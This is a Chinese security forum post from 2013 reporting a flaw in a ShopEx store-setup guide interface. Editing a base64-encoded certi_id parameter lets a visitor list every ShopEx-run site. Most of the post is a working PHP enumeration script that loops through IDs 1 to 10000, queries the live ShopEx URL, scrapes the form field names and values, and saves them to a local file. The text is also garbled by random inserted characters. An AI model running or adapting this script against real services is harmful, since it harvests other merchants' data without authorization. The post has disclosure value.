找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2895|回复: 0
打印 上一主题 下一主题

ShopEx某接口缺陷可遍历所有用户网站

[复制链接]
跳转到指定楼层
楼主
发表于 2013-9-21 15:59:47 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
简要描述:
+ r4 h6 p- q6 x$ P8 c$ c# ]/ {ShopEx某接口缺陷,可遍历所有网站. Z4 |3 `% b9 }+ h! P/ ^' d
详细说明:
9 Y  F6 j. q: G* B" A$ j( ^; v; D8 B问题出现在shopex 网店使用向导页面 + L7 v  f' z; R

9 ?* D) P, i" c0 M& I+ l* e) E
- t- ~& Q* [; H. V! N: X
  z& r0 G! m. u, }. U9 Fhttp://guide.ecos.shopex.cn/step ... WlkaWFuLmNvbVwvIn0=
5 G8 q- h' J! [7 k0 W8 g" r5 g' z4 A  g, `8 j4 l  K
# s+ o$ b, @' E* \5 a' g
3 `: v! F9 R$ i8 z
refer base64解密为 {"certi_id":'1051',"callback_url":"http:\/\/www.joyogame.net\/"}$ N! s- h5 |( F1 Q

7 ]  ~0 ^' N# H3 E1 }* ~5 s8 h( c) h

" R2 c0 k9 o: n! K0 d% Q1 d我们修改certi_id 即可遍历所有使用了ShopEx程序的网站
# ^$ Z# u" K- Q6 ?* b$ a2 g4 Q4 n/ Y0 t) y8 r
4 s" ]5 i6 o% x
# {- S: i# J/ M8 w% u$ P
<?php) D1 M% _. V1 S- m- ]; R

1 D- O7 K: K% ?                for ($i=1; $i < 10000; $i++) { //遍历
" W- Y4 h; l8 x( q8 t" e  s; F. {, A4 M0 u3 C$ \' ?
                        ShowshopExD($i);
# |/ _- }6 y: D7 `% |, ?/ z. s+ `2 H! o; w4 M
                }  F9 E9 R" t2 n) F6 N5 J: p5 Y8 G

! g" N! S) I* y. k: h3 c7 [                function ShowshopExD($cid) {$ ?+ c2 g) _; J3 p

4 O# B9 g) Y8 t8 N- x! K                $url='http://guide.ecos.shopex.cn/step2.php';5 O) D: n7 }( t
" b& G# ?# v9 o/ @% \* I' @
                $refer = base64_encode('{"certi_id":'.intval($cid).',"callback_url":"http:\/\/www.a.com\/"}');
/ b. m! [+ ^4 I1 ?% h5 F3 _0 \1 N$ ]4 ]! e# j
        $url = $url.'?refer='.$refer;
9 v9 U, k: ]6 A# K' H8 d1 o$ ^/ d! E4 \1 b; O/ ?$ Q1 w5 u
        $ch = curl_init($url);" g& }6 {+ l) N1 l
6 E9 ^$ M9 m! u" t1 p$ Y: u8 h; j
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true) ;7 S: r# i1 R! i  v2 f" n/ g( M
% W& j! ]/ ]. h( l5 q
        curl_setopt($ch, CURLOPT_BINARYTRANSFER, true) ;
3 Y. s: T. z1 x- L
1 o6 F4 y  ]- Q        $result = curl_exec($ch);7 W, ~/ e' e' X8 N  p

8 p$ d1 l8 r' I; M" A        $result = mb_convert_encoding($result, "gb2312", "UTF-8");/ l0 z! }0 l- G$ p" l+ F+ H

+ s+ `  O+ l. F* W) K. Z0 J7 e" G3 u        if(strpos($result,$refer))
6 F# F  H9 z( S, v1 U" O! p+ }6 q' w" o$ B/ ~
        {
+ T5 Y  z# E  \/ d$ E
3 V$ B* Q7 F2 d. j6 q0 e                $fp = fopen("c:/shopEx.txt",'ab'); //保存文件/ `% q3 P0 o/ J' }# @! f4 w: V
" }3 {: }6 W& H. @; p/ u
                        preg_match_all('/<input\stype="text"(.*?)\/>/',$result,$value);
1 I6 w8 r/ M) K0 {) t
" g6 D! _' J7 y0 z% |; m' l2 k                foreach ($value[1] as $key) {
9 A- _( w3 o0 t. f3 f% ]+ `+ [* S/ Y0 i1 _
                        preg_match_all('/name="(.*?)"(.*?)value="(.*?)"/',trim($key),$res);' T- c# `7 S# s; v% y
  \& b. H# @7 c/ w$ l3 ?2 v% @2 \( G
                        echo $res[1][0].':'.$res[3][0]."\r\n";
# H; q3 h7 v0 ~( f4 @1 v4 n5 D' W4 _/ t( w; B; a
                        $col =$res[1][0].':'.$res[3][0]."\r\n";
; x4 m1 P* K0 X# w6 U0 Z4 B; `# ~# I3 L2 c. Q. w5 H$ y
                        fwrite($fp, $col, strlen($col));
5 S3 w* T9 f6 G/ S, L* k7 T8 A/ d- |, o4 Q8 K
                }4 j/ J$ z+ M& Y% }  ^2 v
0 \" y9 i0 u( ^' J3 P& h2 Q
                echo '--------------------------------'."\r\n";3 J) E* W, `: F' `& H" G$ Q
* i2 X1 ~2 T& \' E' ~" v+ ]
                fclose($fp);
. k* R( j: z9 g
( G2 V7 C( z! ?        }; z- r+ o/ ]. t

. U8 T: ?1 @. T  q0 E! a3 c        flush();
8 e% p# {* H; K: v4 B. R
$ N' ^/ H2 X! h" U  f        curl_close($ch);! |, m5 n- K% z5 u
: B& d* N+ G) F; y8 G1 c
                }6 S1 S" [/ g7 ?0 v

# n6 H; `% q1 F2 |! L2 t?>( ~. I4 F# N% a+ W3 `
漏洞证明:8 N! N* X7 c2 l* ?; C) ~
http://www.myhack58.com/Article/UploadPic/2013-9/201392110502740490.jpg( l( {" B/ a5 Z6 r. `8 Z
refer换成其他加密方式1 K1 r# l+ I( N
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表